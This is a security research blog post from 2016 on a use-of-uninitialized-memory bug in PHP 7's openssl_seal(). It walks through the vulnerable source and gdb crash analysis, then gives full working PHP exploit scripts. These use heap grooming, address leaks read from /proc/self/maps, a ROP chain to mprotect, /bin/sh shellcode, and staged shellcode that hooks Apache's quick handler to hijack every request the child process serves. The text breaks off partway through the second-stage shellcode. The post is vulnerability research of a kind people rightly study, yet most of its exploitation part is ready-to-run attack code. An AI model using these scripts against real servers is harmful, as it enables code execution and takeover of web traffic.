▄▄▄       ██ ▄█▀▄▄▄     ▄▄▄█████▓ ██▓     ██████ ▓█████  ▄████▄   ██▀███  ▓█████▄▄▄█████▓   ▓█████▄  ██▓ ▄▄▄       ██▀███ ▓██   ██▓
▒████▄     ██▄█▒▒████▄   ▓  ██▒ ▓▒▓██▒   ▒██    ▒ ▓█   ▀ ▒██▀ ▀█  ▓██ ▒ ██▒▓█   ▀▓  ██▒ ▓▒   ▒██▀ ██▌▓██▒▒████▄    ▓██ ▒ ██▒▒██  ██▒
▒██  ▀█▄  ▓███▄░▒██  ▀█▄ ▒ ▓██░ ▒░▒██▒   ░ ▓██▄   ▒███   ▒▓█    ▄ ▓██ ░▄█ ▒▒███  ▒ ▓██░ ▒░   ░██   █▌▒██▒▒██  ▀█▄  ▓██ ░▄█ ▒ ▒██ ██░
░██▄▄▄▄██ ▓██ █▄░██▄▄▄▄██░ ▓██▓ ░ ░██░     ▒   ██▒▒▓█  ▄ ▒▓▓▄ ▄██▒▒██▀▀█▄  ▒▓█  ▄░ ▓██▓ ░    ░▓█▄   ▌░██░░██▄▄▄▄██ ▒██▀▀█▄   ░ ▐██▓░
 ▓█   ▓██▒▒██▒ █▄▓█   ▓██▒ ▒██▒ ░ ░██░   ▒██████▒▒░▒████▒▒ ▓███▀ ░░██▓ ▒██▒░▒████▒ ▒██▒ ░    ░▒████▓ ░██░ ▓█   ▓██▒░██▓ ▒██▒ ░ ██▒▓░
 ▒▒   ▓▒█░▒ ▒▒ ▓▒▒▒   ▓▒█░ ▒ ░░   ░▓     ▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ░▒ ▒  ░░ ▒▓ ░▒▓░░░ ▒░ ░ ▒ ░░       ▒▒▓  ▒ ░▓   ▒▒   ▓▒█░░ ▒▓ ░▒▓░  ██▒▒▒ 
  ▒   ▒▒ ░░ ░▒ ▒░ ▒   ▒▒ ░   ░     ▒ ░   ░ ░▒  ░ ░ ░ ░  ░  ░  ▒     ░▒ ░ ▒░ ░ ░  ░   ░        ░ ▒  ▒  ▒ ░  ▒   ▒▒ ░  ░▒ ░ ▒░▓██ ░▒░ 
[blog] [twitter] [github] [mail/gpg]
A tale of openssl_seal(), PHP and Apache2handle
2016-02-01 09:11:48

The openssl_seal() [4] is prone to use uninitialized memory that can be turned into a code execution. This document describes technical details of our journey to hijack apache2 requests.

What the heck is openssl_seal()?
[...]
int openssl_seal ( string $data , string &$sealed_data , array &$env_keys , array $pub_key_ids [,
        string $method = "RC4" ] )

openssl_seal() seals (encrypts) data by using the given method with a randomly generated secret key.
The key is encrypted with each of the public keys associated with the identifiers in pub_key_ids and
each encrypted key is returned in env_keys. This means that one can send sealed data to multiple
recipients (provided one has obtained their public keys). Each recipient must receive both the
sealed data and the envelope key that was encrypted with the recipient's public key.
[...]

Source: PHP documentation  [4]

But it doesn't matter that much what it's intended to do, let's see its implementation.

The Bug
4888 /* {{{ proto int openssl_seal(string data, &string sealdata, &array ekeys, array pubkeys)
4889    Seals data */
4890 PHP_FUNCTION(openssl_seal)
4891 {
4892    zval *pubkeys, *pubkey, *sealdata, *ekeys, *iv = NULL;
4893    HashTable *pubkeysht;
4894    EVP_PKEY **pkeys;
[...]
4895    zend_resource ** key_resources; /* so we know what to cleanup */
4905    if (zend_parse_parameters(ZEND_NUM_ARGS(), "sz/z/a/|sz/", &data, &data_len,
4906                &sealdata, &ekeys, &pubkeys, &method, &method_len, &iv) == FAILURE) {
4907        return;
4908    }
4909    pubkeysht = Z_ARRVAL_P(pubkeys);
4910    nkeys = pubkeysht ? zend_hash_num_elements(pubkeysht) : 0;
4911    if (!nkeys) {
4912        php_error_docref(NULL, E_WARNING, "Fourth argument to openssl_seal() must be a non-empty array");
4913        RETURN_FALSE;
4914    }
[...]
4935    pkeys = safe_emalloc(nkeys, sizeof(*pkeys), 0);
[...]
4939    key_resources = safe_emalloc(nkeys, sizeof(zend_resource*), 0);
4940    memset(key_resources, 0, sizeof(zend_resource*) * nkeys);
4941
4942    /* get the public keys we are using to seal this data */
4943    i = 0;
4944    ZEND_HASH_FOREACH_VAL(pubkeysht, pubkey) {
4945        pkeys[i] = php_openssl_evp_from_zval(pubkey, 1, NULL, 0, &key_resources[i]);
4946        if (pkeys[i] == NULL) {
4947            php_error_docref(NULL, E_WARNING, "not a public key (%dth member of pubkeys)", i+1);
4948            RETVAL_FALSE;
4949            goto clean_exit;
4950        }
4951        eks[i] = emalloc(EVP_PKEY_size(pkeys[i]) + 1);
4952        i++;
4953    } ZEND_HASH_FOREACH_END();
[...]
5000 clean_exit:
5001    for (i=0; i<nkeys; i++) {
5002        if (key_resources[i] == NULL) {
5003            EVP_PKEY_free(pkeys[i]);
5004        }
[...]
5008    }

Source: http://lxr.php.net/xref/PHP_7_0/ext/openssl/openssl.c#4890

Let's analyze this function, in line 4939 code allocates key_resources table followed by zeroing it, this table is used to mark keys that are intended to be freed. key_resources table is filled by loop between lines 4944 and 4953. nkeys is a number of elements passed to the function in pubkeys array. Now if one of the array members is not a valid public key, then code goes to clean_exit routine that iterates over key_resources table and frees pkeys structures. pkeys itself is not initialized - loop starting in 4944 line is supposed to do so, but in case of firing up clean_exit we end up with uninitialized part of the array. Now let's recall that key_resources was zeroed, it means that we're going to call EVAP_PKEY_free() on uninitialized pkeys members.

The bug was introduced by commit 424aebbf3643b3fc1b1074ecddf2104cb9465f02 [1], quick review confirms that it affects branch 7.x only, so most distros are safe as they let cook 7.x branch for a while.

Is it exploitable?
Well, it depends what EVP_PKEY_free does, so let's see the implementation:
376 void EVP_PKEY_free(EVP_PKEY *x)
377 {
378     int i;
379 
380     if (x == NULL)
381         return;
382 
383     i = CRYPTO_add(&x->references, -1, CRYPTO_LOCK_EVP_PKEY);
[...]
387     if (i > 0)
388         return;
[...]
395     EVP_PKEY_free_it(x);
396     if (x->attributes)
397         sk_X509_ATTRIBUTE_pop_free(x->attributes, X509_ATTRIBUTE_free);
398     OPENSSL_free(x);
399 }    

Source: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/p_lib.c#376

Thanks to x == NULL check it wasn't found by unit tests. One obvious way to exploit this bug is to trigger double free and then try to mess up something, but OpenSSL uses allocator from libc which usually deals with double free pretty well. There's an option to manipulate memory via CRYPTO_add (as we control x), but decreasing by 1 will not get us far. Let's dig deeper and see the EVP_PKEY_free_it() implementation:

401 static void EVP_PKEY_free_it(EVP_PKEY *x)
402 {
403     if (x->ameth && x->ameth->pkey_free) {
404         x->ameth->pkey_free(x);
405         x->pkey.ptr = NULL;
406     }
[...]    
Source: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/p_lib.c#EVP_PKEY_free_it

404 line contains call to pkey_free() address that is extracted from x pointer and comes from the uninitialized memory, which under some circumstances we control. Therefore, it can gain us code execution!

Exploitation

First of all, we'd like to reference to the article [2] which describes exploiting of uninitialized memory in sqlite extension and [3] that is a PoC to hijack all requests coming into Apache when PHP runs as a module. Now we'd like to explore this path once again and see what has changed after introducing modern mitigations methods and amd64 architecture.

Our plan looks as follows:

  • Stage 1 (pwning PHP):
    1. control uninitialized memory
    2. get (or guess) pointer that will act as a fake EVP_PKEY structure
    3. push that pointer as a value to EVP_PKEY_free()
    4. basing on guesses (or leaks) build a ROP chain allowing us to execute data
    5. execute the 2nd stage shellcode
  • Stage 2 (pwning Apache):
    1. guess/find handlers addresses
    2. overwrite first handler with ours evil one
    3. get back home (do not crash apache child)
Pwning PHP

To control uninitialized memory we can use the same trick as in [2]. str_repeat() can allocate memory for us that will be freed right after the call. Because PHP internal allocator works as FIFO, thus we can force openssl_seal() to allocate dirty memory for pkeys by selecting allocation size wisely. Experiments showed that it's pretty reliable to push there around 512 bytes. Therefore, in order to force 512 bytes allocation of pkeys, the public key array should have 64 elements (64 * 8 bytes pointer size).

Let us verify it:

~/src/php-7.0.2/sapi/cli$ gdb ./php
[...]
(gdb) r -r 'str_repeat("A", 512); openssl_seal($_, $_, $_, array_fill(0,64,0));'
Starting program: /home/rj4/src/php-7.0.2/sapi/cli/php -r 'str_repeat("A", 512);
    openssl_seal($_, $_, $_, array_fill(0,64,0));'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Warning: openssl_seal(): not a public key (1th member of pubkeys) in Command line code on line 1

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff5a3d837 in CRYPTO_add_lock () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
(gdb) x/i $rip
=> 0x7ffff5a3d837 <CRYPTO_add_lock+71>: add    (%r12),%r13d
(gdb) i r
[...]
r12            0x208    520
[...]
(gdb) up
#1  0x00007ffff5ad0199 in EVP_PKEY_free () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
(gdb) 
#2  0x00000000004f0d12 in zif_openssl_seal (execute_data=0x7ffff28130d0, return_value=0x7ffff28130c0)
    at /home/rj4/src/php-7.0.2/ext/openssl/openssl.c:5003
5003                            EVP_PKEY_free(pkeys[i]);
(gdb) print i
$3 = 2
(gdb) print pkeys[i]
$11 = (EVP_PKEY *) 0x200
(gdb) print pkeys[i+1]
$12 = (EVP_PKEY *) 0x4141414141414141
(gdb) print pkeys[i+2]
$13 = (EVP_PKEY *) 0x4141414141414141
Boom! It crashed but we expected pkeys[i] to be 0x4141414141414141 (AAAAAAAA) rather than 0x200. Luckily we can simply overwrite 0x200 in pkeys by placing at the beginning valid keys - in short we're going to overwrite first few elements so we can get rid of 0x200 value (which comes from the string length).
~/src/php-7.0.2/sapi/cli$ cat 2.php
<?php

$pem = "
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==
-----END PUBLIC KEY-----"; /* Random RSA key */

$a = array_fill(0,64,0);
$k = openssl_pkey_get_public($pem); 
$a[0] = $k; $a[1] = $k; $a[2] = $k;
var_dump($k);
str_repeat("A", 512);
openssl_seal($_, $_, $_, $a);
~/src/php-7.0.2/sapi/cli$ gdb ./php
[...]
(gdb) r 2.php
Starting program: /home/rj4/src/php-7.0.2/sapi/cli/php 2.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
resource(4) of type (OpenSSL key)

Warning: openssl_seal(): not a public key (4th member of pubkeys) in
    /home/rj4/src/php-7.0.2/sapi/cli/2.php on line 13

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff5a3d837 in CRYPTO_add_lock () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
(gdb) x/i $rip
=> 0x7ffff5a3d837 <CRYPTO_add_lock+71>: add    (%r12),%r13d
(gdb) i r r12
r12            0x4141414141414149       4702111234474983753
(gdb) up
#1  0x00007ffff5ad0199 in EVP_PKEY_free () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
(gdb) 
#2  0x00000000004f0d12 in zif_openssl_seal (execute_data=0x7ffff2813180, return_value=0x7ffff2813170) at
    /home/rj4/src/php-7.0.2/ext/openssl/openssl.c:5003
5003                            EVP_PKEY_free(pkeys[i]);
(gdb) print pkeys[i]
$1 = (EVP_PKEY *) 0x4141414141414141

We've got full control over value passed to EVP_PKEY_free. Let's see how EVP_PKEY structure looks like now:

(gdb) print *pkeys[0]
$2 = {type = 6, save_type = 6, references = 1, ameth = 0x7ffff5d99860, engine = 0x0,
    pkey = {ptr = 0x60f00000c430 "", rsa = 0x60f00000c430, 
    dsa = 0x60f00000c430, dh = 0x60f00000c430, ec = 0x60f00000c430}, save_parameters = 1, attributes = 0x0}

structure definition:

128 struct evp_pkey_st {
    129     int type;
    130     int save_type;
    131     int references;
    132     const EVP_PKEY_ASN1_METHOD *ameth;
    133     ENGINE *engine;
    134     union {
    135         char *ptr;
    [...]
    148     } pkey;
    149     int save_parameters;
    150     STACK_OF(X509_ATTRIBUTE) *attributes; /* [ 0 ] */
    151 } /* EVP_PKEY */ ;

Source: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/evp.h#evp_pkey_st

and EVP_PKEY_ASN1_METHOD has the following definition:

74 struct evp_pkey_asn1_method_st {
     75     int pkey_id;
    [...]
    102     void (*pkey_free) (EVP_PKEY *pkey);
    [...]
    114 } /* EVP_PKEY_ASN1_METHOD */ ;

Source: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/evp.h#evp_pkey_st<

How to get pkey_free offset, you may ask?

(gdb) disas EVP_PKEY_free
Dump of assembler code for function EVP_PKEY_free:
   [...]
   0x00007ffff5ad01a3 <+51>:    callq  0x7ffff5acfa90  
   0x00007ffff5ad01a8 <+56>:    mov    0x30(%rbx),%rdi
   0x00007ffff5ad01ac <+60>:    test   %rdi,%rdi
   0x00007ffff5ad01af <+63>:    je     0x7ffff5ad01bd 
   0x00007ffff5ad01b1 <+65>:    lea    0xf1c8(%rip),%rsi        # 0x7ffff5adf380 
   0x00007ffff5ad01b8 <+72>:    callq  0x7ffff5ac35f0 
   0x00007ffff5ad01bd <+77>:    mov    %rbx,%rdi
   0x00007ffff5ad01c0 <+80>:    pop    %rbx
   0x00007ffff5ad01c1 <+81>:    jmpq   0x7ffff5a3df70 
End of assembler dump.
(gdb) x/i 0x7ffff5acfa90
   0x7ffff5acfa90:      push   %rbx
(gdb) 
   0x7ffff5acfa91:      mov    0x10(%rdi),%rax
(gdb) 
   0x7ffff5acfa95:      mov    %rdi,%rbx
(gdb) 
   0x7ffff5acfa98:      test   %rax,%rax
(gdb) 
   0x7ffff5acfa9b:      je     0x7ffff5acfab3
(gdb) 
   0x7ffff5acfa9d:      mov    0xa0(%rax),%rax  // pkey_free() ptr offset in ameth 
   )

So now we've got all the puzzles needed to gain control over code execution, let's analyze the following image:

  pkeys (openssl_seal())
 +----------+----------+----------+----------+-----
 | pkeys[0] | pkeys[1] | pkeys[2] | pkeys[3] | ...
 +----------+----------+----------+----------+---
                                      |
 +------------------------------------+
 |
 v EVP_PKEY
 +------+-----------+------------+-------+-----
 | type | save_type | references | ameth | ...
 +------+-----------+------------+-------+---
                                      |
 +------------------------------------+
 |
 v EVP_PKEY_ASN1_METHOD 
 +---------+--- -+-----------+----
 | pkey_id | ... | pkey_free | ...
 +---------+- ---+-----------+---

What we need now, is to place somewhere a fake EVP_PKEY and EVP_PKEY_ASN1_METHOD structures. We fully control pkeys[3], so obvious thing is to keep fake structs as strings and point to them, but how we'd figure out what's their address?

Exploiting PHP gives us the luxury, that we can get desired addresses from the procfs. By calling str_repeat() PHP allocates a new memory region that is under our control and we know its address range by reading /proc/self/maps. We could also use another bug that will let us reveal some information about memory layout, but we don't have to push at open doors here. Having this information we can start filling newly allocated buffer with a fake EVP_PKEY and EVP_PKEY_ASN1_METHOD structures minding the correct offsets.

~/src/php-7.0.2/sapi/cli$ cat 3.php
[...]
function get_maps() {
        $fh = fopen("/proc/self/maps", "r");
        $maps = fread($fh, 31337^2);
        fclose($fh);
        return explode("\n", $maps);
}
[...]
$pre = get_maps();
$buffer = str_repeat("\x00", 0xff0000);
$post = get_maps();
$tmp = array_diff($post, $pre);
$tmp = explode('-', array_values($tmp)[0])[0];
for ($i = 0; $i < 8; $i++) 
    $buffer[0xff + 12 + $i] = pack('P', $addr)[$i];
[...]

Upon calling EVP_PKEY_free_it(), and subsequent attempt to call the pkey_free() in ameth structure, the data under the address specified by us gets executed. Cool!

At this point it is trivial to handle both, NX and ASLR. We are chaining the ROP to neutralise NX and use /proc/self/maps so we can forget about the ASLR. Surely other and fancier ROP chain variants can be created but we decided to go for an easy option. During ROPing we attempted to use gadgets from libc in order to make our exploit more generic. Despite our best efforts, we failed to find appropriate gadget for stack pivoting. We ended up using gadgets from the PHP binary, which worked good enough. To pivot the stack we used the address of our controlled buffer, which was already on the stack, and popped it into rsp. Having control over all the pieces we were able to call mprotect() and set the RWX perms for the memory region of our buffer. This step ultimately led us to a second stage shell code execution. CLI version works perfectly:

$ cat 3.php
<?php

function get_maps() {
        $fh = fopen("/proc/self/maps", "r");
        $maps = fread($fh, 31337); 
        fclose($fh);
        return explode("\n", $maps);
}

$pre = get_maps();
$buffer = str_repeat("\x00", 0xff0000);
$post = get_maps();
$tmp = array_diff($post, $pre);
if (count($tmp) != 1)
        die('[-] you need infoleak :[');
$tmp = explode('-',array_values($tmp)[0])[0];
$align = 0xff;
$addr = hexdec($tmp)+0x14; /* align to string */

echo "[+] buffer string @ 0x".dechex($addr)."\n";

$addr += $align;

echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n";
echo "[+] faking ASN @ 0x".dechex($addr)."\n";
for ($i = 0; $i < 8; $i++) {
        $buffer[$align+12+$i] = pack('P', $addr)[$i];
}

$rop_addr = 0xa59203; /* pop x ; pop rsp ; ret - stack pivot */
echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n";
for ($i = 0; $i < 8; $i++) {
        $buffer[$align+0xa0-4+$i] = pack('P', $rop_addr)[$i];
}

$rop_addr = 0x8e475c; /* pop x ; pop x ; ret - clean up stack after pivoting */
for ($i = 0; $i < 8; $i++) {
        $buffer[$align+$i-4] = pack('P', $rop_addr)[$i];
}

$libc_base = 0;
foreach (get_maps() as $record)
        if (strstr($record, "libc-") && strstr($record, "r-xp")) {
                $libc_base = hexdec(explode('-', $record)[0]);
                break;
        }

if ($libc_base == 0)
        die("[-] can't find libc base, you need an information leak :[");

echo "[+] libc base @ 0x".dechex($libc_base)."\n";

$mprotect_offset = 0xf4a20;
$mprotect_addr = $libc_base + $mprotect_offset;

echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";

echo "[+] building ropchain\n";
$rop_chain = 
        pack('P', 0x000000000042bc82) /* pop rdx ; ret */ .
        pack('P', 0x0000000000000007) /* rdx = 7 */ .
        pack('P', 0x0000000000e2da18) /* pop rsi ; ret */ .
        pack('P', 0x0000000000004000) /* rsi = 0x1000 */ .
        pack('P', 0x0000000000e23e26) /* pop rdi ; ret */ .
        pack('P', $addr ^ ($addr & 0xffff)) /* rdi = addr */ .
        pack('P', $mprotect_addr) /* mprotect addr XXX */ .
        pack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff);

for ($i = 0 ; $i < strlen($rop_chain); $i++)
        $buffer[$align+$i+0x14] = $rop_chain[$i];

$shellcode = str_repeat("\x90",512) . 
    /* taken from https://www.exploit-db.com/exploits/13691/ */
    "\x48\x31\xd2"                                  . // xor    %rdx, %rdx
    "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      . // mov $0x68732f6e69622f2f, %rbx
    "\x48\xc1\xeb\x08"                              . // shr    $0x8, %rbx
    "\x53"                                          . // push   %rbx
    "\x48\x89\xe7"                                  . // mov    %rsp, %rdi
    "\x50"                                          . // push   %rax
    "\x57"                                          . // push   %rdi
    "\x48\x89\xe6"                                  . // mov    %rsp, %rsi
    "\xb0\x3b"                                      . // mov    $0x3b, %al
    "\x0f\x05";                                     // syscall;
for ($i = 0 ; $i < strlen($shellcode); $i++)
        $buffer[0x1000 + $i] = $shellcode[$i];

echo "[+] triggering openssl_seal(), spawning shell\nhave phun...\n";

$addr = pack('P', $addr);
$memory = str_repeat($addr, 321);
//$memory .= str_repeat("A", 512-strlen($memory));

$pem = "
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==
-----END PUBLIC KEY-----"; /* Random RSA key */

$a = array_fill(0,321,0);
$k = openssl_pkey_get_public($pem); 
$a[0] = $k; $a[1] = $k; $a[2] = $k;
str_repeat($memory, 1);
@openssl_seal($_, $_, $_, $a);

~/src/php-7.0.2-test/sapi/cli$ ./php 3.php
[+] buffer string @ 0x7f00ef400014
[+] faking EVP_PKEY @ 0x7f00ef400113
[+] faking ASN @ 0x7f00ef400113
[+] faking pkey_free @ 0x7f00ef4001af = a59203
[+] libc base @ 0x7f00f1540000
[+] mprotect @ 0x7f00f1634a20
[+] building ropchain
[+] triggering openssl_seal(), spawning shell
have phun...
$ \o/
PWNing apache2handler

Spawning shell on your own account is pretty useless, isn't it? Hijacking all Apache requests would be much more interesting. PHP is shipped with various backends (above we tricked CLI console), one of them is apache2 module which let it to serve PHP. The cool thing is that it's super easy to setup and quite popular option, on the other hand running PHP scripts in the same process that runs Apache is not the best idea from a security point of view... and we're going to exploit that. From time to time, as pentesters we deal with the situation where disable_functions [7] option is setup, so we have to find way to spawn a shell from the PHP level. This hole may help you to bypass it and do even more.

Previously [3] we used a barbarian method to force Apache to run our own handler - we were simply overwriting the first function address in module handlers. This time we're going to be a gentlemen and use Apache 2 APIs. To be more specific, we pick Ubuntu LTS environment (14.04), which provides Apache 2.4.7 as a package. PHP 7 was compiled from sources as Ubuntu packages provide 5-branch only.

Here's what we want to do:

  1. register memory that will survive subsequent requests
  2. copy Apache handler code to the registered memory
  3. register filter hook that will be run really first
  4. do something to clean the corrupted state and let Apache child process happily serve subsequent requests

Note that the above sequence will "infect" Apache child, so our handler will be served as long as the child will live. However, running exploit in a loop will likely allow us to inject into all children.

Let's make steps 1-3 possible first, then we'll worry about landing safely. We don't have any restrictions what to put in our shell code, so let's write it in C (just because we can):

void
shellcode(void *(mmap_addr)(void *, size_t, int, int, int, off_t),
	void *(memcpy_addr)(void *, void *, size_t),
	int (*ap_hook_quick_handler_addr)(void *, void *, void *, int),
	unsigned char *handler, size_t len)
{
    void *handler_space;
    unsigned char *p;

    /* create space for our handler, as it needs to survive sequential
     * requests */	
    p = handler_space = mmap_addr(0, 0x2000, PROT_WRITE|PROT_EXEC|PROT_READ,
        MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    /* ~memcpy(3) */
        while(len--)
	*(p++) = *(handler++);
    /* register new filter */
    ap_hook_quick_handler_addr(handler_space, NULL, NULL, APR_HOOK_REALLY_FIRST);
}

Almost all code is self descriptive, we're gonna pass a few addresses to the shellcode function, the function will mmap(2) code for us, so we can survive subsequent requests, then we're going to copy it and call ap_hook_quick_handler function, which registers our module handler. Last but not least, we're going to call code $shellcode_stage2. On a side note. Quick handlers are run before any other request hooks, so we can be sure that every request will trigger our code. Take a look at [6] to read more about writing Apache modules.

Handler will look as follows:
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <signal.h>

#define APR_HOOK_REALLY_FIRST   (-10)
#define OK 			(0)

int
handler(void *r)
{
	void (*ap_rprintf_addr)(char *, void *) = (void *)0xdeadbabefeedcafe;
	char content[16] = "hello world";

	(ap_rprintf_addr)(r, content);

	return OK;
}

We simply compile it with -O0 -fno-stack-protector and dump it to a shellcode.

We call ap_rprintf to print our content in response. Nothing extraordinary. For now address of this function is a hardcoded placeholder, it will be replaced with a valid address in exploit itself. To determine addresses we use the /proc/self/maps again.

So, we've implemented steps 1-3. What about the 4th? Getting out of the corrupted state is tricky, stack is corrupted (a bit). We could try to rebuild it and act like nothing has happened but we can also reuse the technique that was used previously. The PHP has a mechanism that kills scripts that run for too long, it is based on signals. If we deliver SIGPROF signal to the process, then PHP will take care of recovering our victim for us.

This time we'll use asm (in PHP, sic!):

$shellcode_stage1 = str_repeat("\x90",512) .
"\x48\xb8" . pack('P', $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax
"\x49\xb8" . pack('P', 0x1000) .                // handler size
"\x48\xb9" . pack('P', $buffer_base + 0x3018) . // handler
"\x48\xba" . pack('P', $ap_hook_handler_addr) . // movabs ap_hook_quick_handler, %rdx
"\x48\xbe" . pack('P', 0) .                     // UNUSED
"\x48\xbf" . pack('P', $mmap_addr) .            // movabs mmap,%rdi
"\xff\xd0" .                                    // callq %rax
"\xb8\x27\x00\x00\x00" .                        // mov $0x27,%eax - getpid syscall
"\x0f\x05" .                                    // syscall
"\xbe\x1b\x00\x00\x00" .                        // mov $0xd,%esi - SIGPROF
"\x89\xc7" .                                    // mov %eax,%edi - pid
"\xb8\x3e\x00\x00\x00" .                        // mov $0x3e,%eax  - kill syscall
"\x0f\x05";                                     // syscall

Those 0x2018 and 0x3018 offsets are used to point to the exact memory locations in our buffer_string. It means that we have to add 0x18 aligning bytes to the string contents from the beginning of the $buffer_addr. We're going to place the shellcode_stage2 inside the $buffer at index 0x2000 and handler at index 0x3000.

So our code chain is the following:

  • shellcode_stage1:
    • call shellcode_stage2
      • mmap
      • copy handler
      • ap_hook_quick_handler
    • getpid
    • kill & clean up
We've got all that we need:
<?php

function get_maps() {
        $fh = fopen("/proc/self/maps", "r");
        $maps = fread($fh, 331337);
        fclose($fh);
        return explode("\n", $maps);
}

function find_map($sym) {
    $addr = 0;
    foreach(get_maps() as $record)
        if (strstr($record, $sym) && strstr($record, "r-xp")) {
            $addr = hexdec(explode('-', $record)[0]);
            break;
        }

    if ($addr == 0)
            die("[-] can't find $sym base, you need an information leak :[");

    return $addr;
}

function fill_buffer($offset, $content) {
    global $buffer;
    for ($i = 0; $i < strlen($content); $i++)
        $buffer[$offset + $i] = $content[$i];
    return;
}

$pre = get_maps();
$buffer = str_repeat("\x00", 0xff0000);
$post = get_maps();

$tmp = array_diff($post, $pre);

if (count($tmp) != 1)
        die('[-] you need an information leak :[');

$buffer_base = hexdec(explode('-',array_values($tmp)[0])[0]);
$addr = $buffer_base+0x14; /* align to string */

echo "[+] buffer string @ 0x".dechex($addr)."\n";

$align = 0xff;
$addr += $align;

echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n";
echo "[+] faking ASN @ 0x".dechex($addr)."\n";
fill_buffer($align + 12, pack('P', $addr));

$libphp_base = find_map("libphp7");
echo "[+] libphp7 base @ 0x".dechex($libphp_base)."\n";

/* pop x ; pop rsp ; ret - stack pivot */
$rop_addr = $libphp_base + 0x00000000004a79c3;
echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n";
fill_buffer($align + 0xa0 - 4, pack('P', $rop_addr));

/* pop rbp ; pop rbp ; ret - clean up the stack after pivoting */
$rop_addr = $libphp_base + 0x000000000041d583;
fill_buffer($align - 4, pack('P', $rop_addr));

$libc_base = find_map("libc-");
echo "[+] libc base @ 0x".dechex($libc_base)."\n";

$mprotect_offset = 0xf4a20;
$mprotect_addr = $libc_base + $mprotect_offset;
echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";

$mmap_offset = 0xf49c0;
$mmap_addr = $libc_base + $mmap_offset;
echo "[+] mmap @ 0x".dechex($mmap_addr)."\n";

$apache2_base = find_map("/usr/sbin/apache2");
echo "[+] apache2 base @ 0x".dechex($apache2_base)."\n";

$ap_rprintf_offset = 0x429c0;
$ap_rprintf_addr = $apache2_base + $ap_rprintf_offset;
echo "[+] ap_rprintf @ 0x".dechex($ap_rprintf_addr)."\n";

$ap_hook_quick_handler_offset = 0x56c00;
$ap_hook_quick_handler_addr = $apache2_base + $ap_hook_quick_handler_offset;
echo "[+] ap_hook_quick_handler @ 0x".dechex($ap_hook_quick_handler_addr)."\n";

echo "[+] building ropchain\n";
$rop_chain =
        pack('P', $libphp_base + 0x00000000000ea107) .  // pop rdx ; ret
        pack('P', 0x0000000000000007) .                 // rdx = 7
        pack('P', $libphp_base + 0x00000000000e69bd) .  // pop rsi ; ret
        pack('P', 0x0000000000004000) .                 // rsi = 0x1000
        pack('P', $libphp_base + 0x00000000000e5fd8) .  // pop rdi ; ret
        pack('P', $addr ^ ($addr & 0xffff)) .           // rdi = page aligned addr
        pack('P', $mprotect_addr) .                     // mprotect addr
        pack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff); // return to shellcode_stage1
fill_buffer($align + 0x14, $rop_chain);

$shellcode_stage1 = str_repeat("\x90", 512) .
        "\x48\xb8" . pack('P', $buffer_base + 0x2018) .         // movabs shellcode_stage2, %rax
        "\x49\xb8" . pack('P', 0x1000) .                        // handler size
        "\x48\xb9" . pack('P', $buffer_base + 0x3018) .         // handler
        "\x48\xba" . pack('P', $ap_hook_quick_handler_addr) .   // movabs ap_hook_quick_handler, %rdx
        "\x48\xbe" . pack('P', 0) .                             // UNUSED
        "\x48\xbf" . pack('P', $mmap_addr) .                    // movabs mmap,%rdi
        "\xff\xd0" .                                            // callq %rax
        "\xb8\x27\x00\x00\x00" .                                // mov $0x27,%eax - getpid syscall
        "\x0f\x05" .                                            // syscall
        "\xbe\x1b\x00\x00\x00" .                                // mov $0xd,%esi - SIGPROF
        "\x89\xc7" .                                            // mov %eax,%edi - pid
        "\xb8\x3e\x00\x00\x00" .                                // mov $0x3e,%eax  - kill syscall
        "\x0f\x05";                                             // syscall
fill_buffer(0x1000, $shellcode_stage1);

$shellcode_stage2 = str_repeat("\x90", 512) .
        "\x55" .                        // push   %rbp
        "\x48\x89\xe5" .                // mov    %rsp,%rbp
        "\x48\x83\xec\x40" .            // sub    $0x40,%rsp
        "\x48\x89\x7d\xe8" .            // mov    %rdi,-0x18(%rbp)
        "\x48\x89\x75\xe0" .            // mov    %rsi,-0x20(%rbp)
        "\x48\x89\x55\xd8" .            // mov    %rdx,-0x28(%rbp)
        "\x48\x89\x4d\xd0" .            // mov    %rcx,-0x30(%rbp)
        "\x4c\x89\x45\xc8" .            // mov    %r8,-0x38(%rbp)
        "\x48\x8b\x45\xe8" .            // mov    -0x18(%rbp),%rax
        "\x41\xb9\x00\x00\x00\x00" .    // mov    $0x0,%r9d
        "\x41\xb8\xff\xff\xff\xff" .    // mov    $0xffffffff,%r8d
        "\xb9\x22\x00\x00\x00" .        // mov    $0x22,%ecx
        "\xba\x07\x00\x00\x00" .        // mov    $0x7,%edx
        "\xbe\x00\x20\x00\x00" .        // mov    $0x2000,%esi
        "\xbf\x00\x00\x00\x00" .        // mov    $0x0,%edi
